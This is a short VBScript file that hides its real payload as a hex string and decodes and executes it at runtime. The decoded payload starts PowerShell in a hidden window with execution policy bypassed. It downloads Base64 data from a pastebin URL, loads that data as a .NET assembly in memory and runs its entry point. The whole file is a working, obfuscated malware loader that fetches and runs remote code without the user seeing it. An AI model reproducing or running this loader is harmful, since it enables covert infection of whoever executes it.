dim r
r = "73 65 74 20 73 68 68 68 20 3D 20 43 72 65 61 74 65 4F 62 6A 65 63 74 28 22 57 53 63 72 69 70 74 2E 53 68 65 6C 6C 22 29 0D 0A 20 20 20 44 69 6D 20 76 61 72 31 0D 0A 20 20 20 20 76 61 72 31 20 3D 20 22 63 6D 64 2E 65 78 65 20 2F 63 20 70 6F 77 65 72 73 68 65 6C 6C 20 2D 45 78 65 63 75 74 69 6F 6E 50 6F 6C 69 63 79 20 42 79 70 61 73 73 20 2D 77 69 6E 64 6F 77 73 74 79 6C 65 20 68 69 64 64 65 6E 20 2D 6E 6F 65 78 69 74 20 2D 63 6F 6D 6D 61 6E 64 20 5B 52 65 66 6C 65 63 74 69 6F 6E 2E 41 73 73 65 6D 62 6C 79 5D 3A 3A 4C 6F 61 64 28 5B 53 79 73 74 65 6D 2E 43 6F 6E 76 65 72 74 5D 3A 3A 46 72 6F 6D 42 61 73 65 36 34 53 74 72 69 6E 67 28 28 4E 65 77 2D 4F 62 6A 65 63 74 20 53 79 73 74 65 6D 2E 4E 65 74 2E 57 65 62 43 6C 69 65 6E 74 29 2E 44 6F 77 6E 6C 6F 61 64 53 74 72 69 6E 67 28 27 68 74 74 70 73 3A 2F 2F 70 61 73 74 65 62 69 6E 2E 63 6F 6D 2F 72 61 77 2F 51 30 70 79 75 72 6E 38 27 29 29 29 2E 45 6E 74 72 79 50 6F 69 6E 74 2E 49 6E 76 6F 6B 65 28 24 6E 75 6C 6C 2C 24 6E 75 6C 6C 29 22 0D 0A 73 68 68 68 2E 72 75 6E 20 76 61 72 31 2C 20 76 62 48 69 64 65"
dim str


Function BoladeRancor(h)
  Dim a : a = Split(h)
  Dim i
  For i = 0 To UBound(a)
      a(i) = Chr("&H" & a(i))
  Next
  BoladeRancor = Join(a, "")
End Function

str = BoladeRancor(r)

Execute str